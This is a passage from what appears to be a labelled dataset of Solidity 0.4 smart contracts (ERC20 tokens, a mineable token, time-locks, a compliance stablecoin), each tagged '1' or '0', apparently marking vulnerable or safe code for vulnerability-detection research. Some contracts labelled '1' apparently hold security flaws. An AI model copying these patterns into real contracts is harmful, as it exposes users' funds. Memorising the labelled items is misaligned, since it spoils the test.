function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET / miningTarget;
}
function getMiningTarget() public constant returns (uint) {
return miningTarget;
}
function getMiningReward() public constant returns (uint) {
return 25000000000/(2**rewardEra);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public returns (bool success) {
require(msg.sender == owner);
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function getMintDigest(uint256 nonce, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
return digest;
}
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if(uint256(digest) > testTarget)
revert();
return (digest == challenge_digest);
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract SafeERC20 {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public _totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping(address => uint256)) allowed;
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function transfer(address to, uint256 value) public {
require (
balanceOf[msg.sender] >= value && value > 0
);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(value);
balanceOf[to] = balanceOf[to].add(value);
Transfer(msg.sender, to, value);
}
function transferFrom(address from, address to, uint256 value) public {
require (
allowed[from][msg.sender] >= value && balanceOf[from] >= value && value > 0
);
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
Transfer(from, to, value);
}
function approve(address spender, uint256 value) public {
require (
balanceOf[msg.sender] >= value && value > 0
);
allowed[msg.sender][spender] = value;
Approval(msg.sender, spender, value);
}
function allowance(address _owner, address spender) public constant returns (uint256) {
return allowed[_owner][spender];
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BITTOToken is SafeERC20, owned {
using SafeMath for uint256;
string public name = "BITTO";
string public symbol = "BITTO";
uint256 public decimals = 18;
uint256 public _totalSupply = 33000000e18;
address multisig = 0x228C8c3D0878b0d3ce72381b8CC92396A03f399e;
uint public price = 800;
uint256 public fundRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function BITTOToken() public {
balanceOf[multisig] = _totalSupply;
}
function transfertoken (uint256 _amount, address recipient) public onlyOwner {
require(recipient != 0x0);
require(balanceOf[owner] >= _amount);
balanceOf[owner] = balanceOf[owner].sub(_amount);
balanceOf[recipient] = balanceOf[recipient].add(_amount);
}
function burn(uint256 _amount) public onlyOwner{
require(balanceOf[owner] >= _amount);
balanceOf[owner] -= _amount;
_totalSupply -= _amount;
}
function () public payable {
tokensale(msg.sender);
}
function updatePrice (uint _newpice) public onlyOwner {
price = _newpice;
}
function tokensale(address recipient) public payable {
require(recipient != 0x0);
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(price);
fundRaised = fundRaised.add(weiAmount);
balanceOf[owner] = balanceOf[owner].sub(tokens);
balanceOf[recipient] = balanceOf[recipient].add(tokens);
TokenPurchase(msg.sender, recipient, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
owner.transfer(msg.value);
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 27993600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x91fC6D63C2248D2FDaF06ce25f5070E33990526f;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Registry {
struct AttributeData {
uint256 value;
bytes32 notes;
address adminAddr;
uint256 timestamp;
}
address public owner;
address public pendingOwner;
bool public initialized;
mapping(address => mapping(bytes32 => AttributeData)) public attributes;
bytes32 public constant WRITE_PERMISSION = keccak256("canWriteTo-");
bytes32 public constant IS_BLACKLISTED = "isBlacklisted";
bytes32 public constant IS_DEPOSIT_ADDRESS = "isDepositAddress";
bytes32 public constant IS_REGISTERED_CONTRACT = "isRegisteredContract";
bytes32 public constant HAS_PASSED_KYC_AML = "hasPassedKYC/AML";
bytes32 public constant CAN_BURN = "canBurn";
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event SetAttribute(address indexed who, bytes32 attribute, uint256 value, bytes32 notes, address indexed adminAddr);
event SetManager(address indexed oldManager, address indexed newManager);
function initialize() public {
require(!initialized, "already initialized");
owner = msg.sender;
initialized = true;
}
function writeAttributeFor(bytes32 _attribute) public pure returns (bytes32) {
return keccak256(WRITE_PERMISSION ^ _attribute);
}
function confirmWrite(bytes32 _attribute, address _admin) public view returns (bool) {
return (_admin == owner || hasAttribute(_admin, keccak256(WRITE_PERMISSION ^ _attribute)));
}
function setAttribute(address _who, bytes32 _attribute, uint256 _value, bytes32 _notes) public {
require(confirmWrite(_attribute, msg.sender));
attributes[_who][_attribute] = AttributeData(_value, _notes, msg.sender, block.timestamp);
emit SetAttribute(_who, _attribute, _value, _notes, msg.sender);
}
function setAttributeValue(address _who, bytes32 _attribute, uint256 _value) public {
require(confirmWrite(_attribute, msg.sender));
attributes[_who][_attribute] = AttributeData(_value, "", msg.sender, block.timestamp);
emit SetAttribute(_who, _attribute, _value, "", msg.sender);
}
function hasAttribute(address _who, bytes32 _attribute) public view returns (bool) {
return attributes[_who][_attribute].value != 0;
}
function hasBothAttributes(address _who, bytes32 _attribute1, bytes32 _attribute2) public view returns (bool) {
return attributes[_who][_attribute1].value != 0 && attributes[_who][_attribute2].value != 0;
}
function hasEitherAttribute(address _who, bytes32 _attribute1, bytes32 _attribute2) public view returns (bool) {
return attributes[_who][_attribute1].value != 0 || attributes[_who][_attribute2].value != 0;
}
function hasAttribute1ButNotAttribute2(address _who, bytes32 _attribute1, bytes32 _attribute2) public view returns (bool) {
return attributes[_who][_attribute1].value != 0 && attributes[_who][_attribute2].value == 0;
}
function bothHaveAttribute(address _who1, address _who2, bytes32 _attribute) public view returns (bool) {
return attributes[_who1][_attribute].value != 0 && attributes[_who2][_attribute].value != 0;
}
function eitherHaveAttribute(address _who1, address _who2, bytes32 _attribute) public view returns (bool) {
return attributes[_who1][_attribute].value != 0 || attributes[_who2][_attribute].value != 0;
}
function haveAttributes(address _who1, bytes32 _attribute1, address _who2, bytes32 _attribute2) public view returns (bool) {
return attributes[_who1][_attribute1].value != 0 && attributes[_who2][_attribute2].value != 0;
}
function haveEitherAttribute(address _who1, bytes32 _attribute1, address _who2, bytes32 _attribute2) public view returns (bool) {
return attributes[_who1][_attribute1].value != 0 || attributes[_who2][_attribute2].value != 0;
}
function isDepositAddress(address _who) public view returns (bool) {
return attributes[address(uint256(_who) >> 20)][IS_DEPOSIT_ADDRESS].value != 0;
}
function getDepositAddress(address _who) public view returns (address) {
return address(attributes[address(uint256(_who) >> 20)][IS_DEPOSIT_ADDRESS].value);
}
function requireCanTransfer(address _from, address _to) public view returns (address, bool) {
require (attributes[_from][IS_BLACKLISTED].value == 0, "blacklisted");
uint256 depositAddressValue = attributes[address(uint256(_to) >> 20)][IS_DEPOSIT_ADDRESS].value;
if (depositAddressValue != 0) {
_to = address(depositAddressValue);
}
require (attributes[_to][IS_BLACKLISTED].value == 0, "blacklisted");
return (_to, attributes[_to][IS_REGISTERED_CONTRACT].value != 0);
}
function requireCanTransferFrom(address _sender, address _from, address _to) public view returns (address, bool) {
require (attributes[_sender][IS_BLACKLISTED].value == 0, "blacklisted");
return requireCanTransfer(_from, _to);
}
function requireCanMint(address _to) public view returns (address, bool) {
require (attributes[_to][HAS_PASSED_KYC_AML].value != 0);
require (attributes[_to][IS_BLACKLISTED].value == 0, "blacklisted");
uint256 depositAddressValue = attributes[address(uint256(_to) >> 20)][IS_DEPOSIT_ADDRESS].value;
if (depositAddressValue != 0) {
_to = address(depositAddressValue);
}
return (_to, attributes[_to][IS_REGISTERED_CONTRACT].value != 0);
}
function requireCanBurn(address _from) public view {
require (attributes[_from][CAN_BURN].value != 0);
require (attributes[_from][IS_BLACKLISTED].value == 0);
}
function getAttribute(address _who, bytes32 _attribute) public view returns (uint256, bytes32, address, uint256) {
AttributeData memory data = attributes[_who][_attribute];
return (data.value, data.notes, data.adminAddr, data.timestamp);
}
function getAttributeValue(address _who, bytes32 _attribute) public view returns (uint256) {
return attributes[_who][_attribute].value;
}
function getAttributeAdminAddr(address _who, bytes32 _attribute) public view returns (address) {
return attributes[_who][_attribute].adminAddr;
}
function getAttributeTimestamp(address _who, bytes32 _attribute) public view returns (uint256) {
return attributes[_who][_attribute].timestamp;
}
function reclaimEther(address _to) external onlyOwner {
_to.transfer(address(this).balance);
}
function reclaimToken(ERC20 token, address _to) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.transfer(_to, balance);
}
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner() {
require(msg.sender == owner, "only Owner");
_;
}
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BalanceSheet is Claimable {
using SafeMath for uint256;
mapping (address => uint256) public balanceOf;
function addBalance(address _addr, uint256 _value) public onlyOwner {
balanceOf[_addr] = balanceOf[_addr].add(_value);
}
function subBalance(address _addr, uint256 _value) public onlyOwner {
balanceOf[_addr] = balanceOf[_addr].sub(_value);
}
function setBalance(address _addr, uint256 _value) public onlyOwner {
balanceOf[_addr] = _value;
}
}
contract AllowanceSheet is Claimable {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) public allowanceOf;
function addAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner {
allowanceOf[_tokenHolder][_spender] = allowanceOf[_tokenHolder][_spender].add(_value);
}
function subAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner {
allowanceOf[_tokenHolder][_spender] = allowanceOf[_tokenHolder][_spender].sub(_value);
}
function setAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner {
allowanceOf[_tokenHolder][_spender] = _value;
}
}
contract ProxyStorage {
address public owner;
address public pendingOwner;
bool public initialized;
BalanceSheet public balances;
AllowanceSheet public allowances;
uint256 totalSupply_;
bool private paused_Deprecated = false;
address private globalPause_Deprecated;
uint256 public burnMin = 0;
uint256 public burnMax = 0;
Registry public registry;
string public name = "UniversalUSD";
string public symbol = "UUSD";
uint[] public gasRefundPool;
uint256 private redemptionAddressCount_Deprecated;
uint256 public minimumGasPriceForFutureRefunds;
}
contract HasOwner is ProxyStorage {
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner() {
require(msg.sender == owner, "only Owner");
_;
}
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract ModularBasicToken is HasOwner {
using SafeMath for uint256;
event BalanceSheetSet(address indexed sheet);
event Transfer(address indexed from, address indexed to, uint256 value);
function setBalanceSheet(address _sheet) public onlyOwner returns (bool) {
balances = BalanceSheet(_sheet);
balances.claimOwnership();
emit BalanceSheetSet(_sheet);
return true;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
_transferAllArgs(msg.sender, _to, _value);
return true;
}
function _transferAllArgs(address _from, address _to, uint256 _value) internal {
balances.subBalance(_from, _value);
balances.addBalance(_to, _value);
emit Transfer(_from, _to, _value);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances.balanceOf(_owner);
}
}
contract ModularStandardToken is ModularBasicToken {
event AllowanceSheetSet(address indexed sheet);
event Approval(address indexed owner, address indexed spender, uint256 value);
function setAllowanceSheet(address _sheet) public onlyOwner returns(bool) {
allowances = AllowanceSheet(_sheet);
allowances.claimOwnership();
emit AllowanceSheetSet(_sheet);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
_transferFromAllArgs(_from, _to, _value, msg.sender);
return true;
}
function _transferFromAllArgs(address _from, address _to, uint256 _value, address _spender) internal {
_transferAllArgs(_from, _to, _value);
allowances.subAllowance(_from, _spender, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
_approveAllArgs(_spender, _value, msg.sender);
return true;
}
function _approveAllArgs(address _spender, uint256 _value, address _tokenHolder) internal {
allowances.setAllowance(_tokenHolder, _spender, _value);
emit Approval(_tokenHolder, _spender, _value);
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowances.allowanceOf(_owner, _spender);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
_increaseApprovalAllArgs(_spender, _addedValue, msg.sender);
return true;
}
function _increaseApprovalAllArgs(address _spender, uint256 _addedValue, address _tokenHolder) internal {
allowances.addAllowance(_tokenHolder, _spender, _addedValue);
emit Approval(_tokenHolder, _spender, allowances.allowanceOf(_tokenHolder, _spender));
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
_decreaseApprovalAllArgs(_spender, _subtractedValue, msg.sender);
return true;
}
function _decreaseApprovalAllArgs(address _spender, uint256 _subtractedValue, address _tokenHolder) internal {
uint256 oldValue = allowances.allowanceOf(_tokenHolder, _spender);
if (_subtractedValue > oldValue) {
allowances.setAllowance(_tokenHolder, _spender, 0);
} else {
allowances.subAllowance(_tokenHolder, _spender, _subtractedValue);
}
emit Approval(_tokenHolder,_spender, allowances.allowanceOf(_tokenHolder, _spender));
}
}
contract ModularBurnableToken is ModularStandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burnAllArgs(msg.sender, _value);
}
function _burnAllArgs(address _burner, uint256 _value) internal {
balances.subBalance(_burner, _value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_burner, _value);
emit Transfer(_burner, address(0), _value);
}
}
contract ModularMintableToken is ModularBurnableToken {
event Mint(address indexed to, uint256 value);
function mint(address _to, uint256 _value) public onlyOwner {
require(_to != address(0), "to address cannot be zero");
totalSupply_ = totalSupply_.add(_value);
balances.addBalance(_to, _value);
emit Mint(_to, _value);
emit Transfer(address(0), _to, _value);
}
}
contract BurnableTokenWithBounds is ModularMintableToken {
event SetBurnBounds(uint256 newMin, uint256 newMax);
function _burnAllArgs(address _burner, uint256 _value) internal {
require(_value >= burnMin, "below min burn bound");
require(_value <= burnMax, "exceeds max burn bound");
super._burnAllArgs(_burner, _value);
}
function setBurnBounds(uint256 _min, uint256 _max) public onlyOwner {
require(_min <= _max, "min > max");
burnMin = _min;
burnMax = _max;
emit SetBurnBounds(_min, _max);
}
}
contract CompliantToken is ModularMintableToken {
bytes32 public constant HAS_PASSED_KYC_AML = "hasPassedKYC/AML";
bytes32 public constant CAN_BURN = "canBurn";
bytes32 public constant IS_BLACKLISTED = "isBlacklisted";
event WipeBlacklistedAccount(address indexed account, uint256 balance);
event SetRegistry(address indexed registry);
function setRegistry(Registry _registry) public onlyOwner {
registry = _registry;
emit SetRegistry(registry);
}
function _burnAllArgs(address _burner, uint256 _value) internal {
registry.requireCanBurn(_burner);
super._burnAllArgs(_burner, _value);
}
function wipeBlacklistedAccount(address _account) public onlyOwner {
require(registry.hasAttribute(_account, IS_BLACKLISTED), "_account is not blacklisted");
uint256 oldValue = balanceOf(_account);
balances.setBalance(_account, 0);
totalSupply_ = totalSupply_.sub(oldValue);
emit WipeBlacklistedAccount(_account, oldValue);
emit Transfer(_account, address(0), oldValue);
}
}
contract DepositToken is ModularMintableToken {
bytes32 public constant IS_DEPOSIT_ADDRESS = "isDepositAddress";
}
contract TrueCoinReceiver {
function tokenFallback( address from, uint256 value ) external;
}
contract TokenWithHook is ModularMintableToken {
bytes32 public constant IS_REGISTERED_CONTRACT = "isRegisteredContract";
}
contract CompliantDepositTokenWithHook is CompliantToken, DepositToken, TokenWithHook {
function _transferFromAllArgs(address _from, address _to, uint256 _value, address _sender) internal {
bool hasHook;
address originalTo = _to;
(_to, hasHook) = registry.requireCanTransferFrom(_sender, _from, _to);
allowances.subAllowance(_from, _sender, _value);
balances.subBalance(_from, _value);
balances.addBalance(_to, _value);
emit Transfer(_from, originalTo, _value);
if (originalTo != _to) {
emit Transfer(originalTo, _to, _value);
if (hasHook) {
TrueCoinReceiver(_to).tokenFallback(originalTo, _value);
}
} else {
if (hasHook) {
TrueCoinReceiver(_to).tokenFallback(_from, _value);
}
}
}
function _transferAllArgs(address _from, address _to, uint256 _value) internal {
bool hasHook;
address originalTo = _to;
(_to, hasHook) = registry.requireCanTransfer(_from, _to);
balances.subBalance(_from, _value);
balances.addBalance(_to, _value);
emit Transfer(_from, originalTo, _value);
if (originalTo != _to) {
emit Transfer(originalTo, _to, _value);
if (hasHook) {
TrueCoinReceiver(_to).tokenFallback(originalTo, _value);
}
} else {
if (hasHook) {
TrueCoinReceiver(_to).tokenFallback(_from, _value);
}
}
}
function mint(address _to, uint256 _value) public onlyOwner {
require(_to != address(0), "to address cannot be zero");
bool hasHook;
address originalTo = _to;
(_to, hasHook) = registry.requireCanMint(_to);
totalSupply_ = totalSupply_.add(_value);
emit Mint(originalTo, _value);
emit Transfer(address(0), originalTo, _value);
if (_to != originalTo) {
emit Transfer(originalTo, _to, _value);
}
balances.addBalance(_to, _value);
if (hasHook) {
if (_to != originalTo) {
TrueCoinReceiver(_to).tokenFallback(originalTo, _value);
} else {
TrueCoinReceiver(_to).tokenFallback(address(0), _value);
}
}
}
}
contract RedeemableToken is ModularMintableToken {
event RedemptionAddress(address indexed addr);
uint256 public constant REDEMPTION_ADDRESS_COUNT = 0x100000;
function _transferAllArgs(address _from, address _to, uint256 _value) internal {
if (_to == address(0)) {
revert("_to address is 0x0");
} else if (uint(_to) < REDEMPTION_ADDRESS_COUNT) {
super._transferAllArgs(_from, _to, _value);
_burnAllArgs(_to, _value);
} else {
super._transferAllArgs(_from, _to, _value);
}
}
function _transferFromAllArgs(address _from, address _to, uint256 _value, address _sender) internal {
if (_to == address(0)) {
revert("_to address is 0x0");
} else if (uint(_to) < REDEMPTION_ADDRESS_COUNT) {
super._transferFromAllArgs(_from, _to, _value, _sender);
_burnAllArgs(_to, _value);
} else {
super._transferFromAllArgs(_from, _to, _value, _sender);
}
}
}
contract GasRefundToken is ModularMintableToken {
function sponsorGas() external {
uint256 len = gasRefundPool.length;
uint256 refundPrice = minimumGasPriceForFutureRefunds;
require(refundPrice > 0);
gasRefundPool.length = len + 9;
gasRefundPool[len] = refundPrice;
gasRefundPool[len + 1] = refundPrice;
gasRefundPool[len + 2] = refundPrice;
gasRefundPool[len + 3] = refundPrice;
gasRefundPool[len + 4] = refundPrice;
gasRefundPool[len + 5] = refundPrice;
gasRefundPool[len + 6] = refundPrice;
gasRefundPool[len + 7] = refundPrice;
gasRefundPool[len + 8] = refundPrice;
}
function minimumGasPriceForRefund() public view returns (uint256) {
uint256 len = gasRefundPool.length;
if (len > 0) {
return gasRefundPool[len - 1] + 1;
}
return uint256(-1);
}
modifier gasRefund {
uint256 len = gasRefundPool.length;
if (len > 2 && tx.gasprice > gasRefundPool[len-1]) {
gasRefundPool.length = len - 3;
}
_;
}
function remainingGasRefundPool() public view returns (uint) {
return gasRefundPool.length;
}
function remainingSponsoredTransactions() public view returns (uint) {
return gasRefundPool.length / 3;
}
function _transferAllArgs(address _from, address _to, uint256 _value) internal gasRefund {
super._transferAllArgs(_from, _to, _value);
}
function _transferFromAllArgs(address _from, address _to, uint256 _value, address _sender) internal gasRefund {
super._transferFromAllArgs(_from, _to, _value, _sender);
}
function mint(address _to, uint256 _value) public onlyOwner gasRefund {
super.mint(_to, _value);
}
bytes32 public constant CAN_SET_FUTURE_REFUND_MIN_GAS_PRICE = "canSetFutureRefundMinGasPrice";
function setMinimumGasPriceForFutureRefunds(uint256 _minimumGasPriceForFutureRefunds) public {
require(registry.hasAttribute(msg.sender, CAN_SET_FUTURE_REFUND_MIN_GAS_PRICE));
minimumGasPriceForFutureRefunds = _minimumGasPriceForFutureRefunds;
}
}
contract DelegateERC20 is ModularStandardToken {
address public constant DELEGATE_FROM = 0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E;
modifier onlyDelegateFrom() {
require(msg.sender == DELEGATE_FROM);
_;
}
function delegateTotalSupply() public view returns (uint256) {
return totalSupply();
}
function delegateBalanceOf(address who) public view returns (uint256) {
return balanceOf(who);
}
function delegateTransfer(address to, uint256 value, address origSender) public onlyDelegateFrom returns (bool) {
_transferAllArgs(origSender, to, value);
return true;
}
function delegateAllowance(address owner, address spender) public view returns (uint256) {
return allowance(owner, spender);
}
function delegateTransferFrom(address from, address to, uint256 value, address origSender) public onlyDelegateFrom returns (bool) {
_transferFromAllArgs(from, to, value, origSender);
return true;
}
function delegateApprove(address spender, uint256 value, address origSender) public onlyDelegateFrom returns (bool) {
_approveAllArgs(spender, value, origSender);
return true;
}
function delegateIncreaseApproval(address spender, uint addedValue, address origSender) public onlyDelegateFrom returns (bool) {
_increaseApprovalAllArgs(spender, addedValue, origSender);
return true;
}
function delegateDecreaseApproval(address spender, uint subtractedValue, address origSender) public onlyDelegateFrom returns (bool) {
_decreaseApprovalAllArgs(spender, subtractedValue, origSender);
return true;
}
}
contract UniversalUSD is
ModularMintableToken,
CompliantDepositTokenWithHook,
BurnableTokenWithBounds,
RedeemableToken,
DelegateERC20,
GasRefundToken {
using SafeMath for *;
uint8 public constant DECIMALS = 18;
uint8 public constant ROUNDING = 2;
event ChangeTokenName(string newName, string newSymbol);
function decimals() public pure returns (uint8) {
return DECIMALS;
}
function rounding() public pure returns (uint8) {
return ROUNDING;
}
function changeTokenName(string _name, string _symbol) external onlyOwner {
name = _name;
symbol = _symbol;
emit ChangeTokenName(_name, _symbol);
}
function reclaimEther(address _to) external onlyOwner {
_to.transfer(address(this).balance);
}
function reclaimToken(ERC20 token, address _to) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.transfer(_to, balance);
}
function paused() public pure returns (bool) {
return false;
}
function reclaimContract(Ownable _ownable) external onlyOwner {
_ownable.transferOwnership(owner);
}
function _burnAllArgs(address _burner, uint256 _value) internal {
uint burnAmount = _value.div(10 ** uint256(DECIMALS - ROUNDING)).mul(10 ** uint256(DECIMALS - ROUNDING));
super._burnAllArgs(_burner, burnAmount);
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30153600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x898cf4F5d4e1e459eCD33E7b402CA72881b53eEF;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
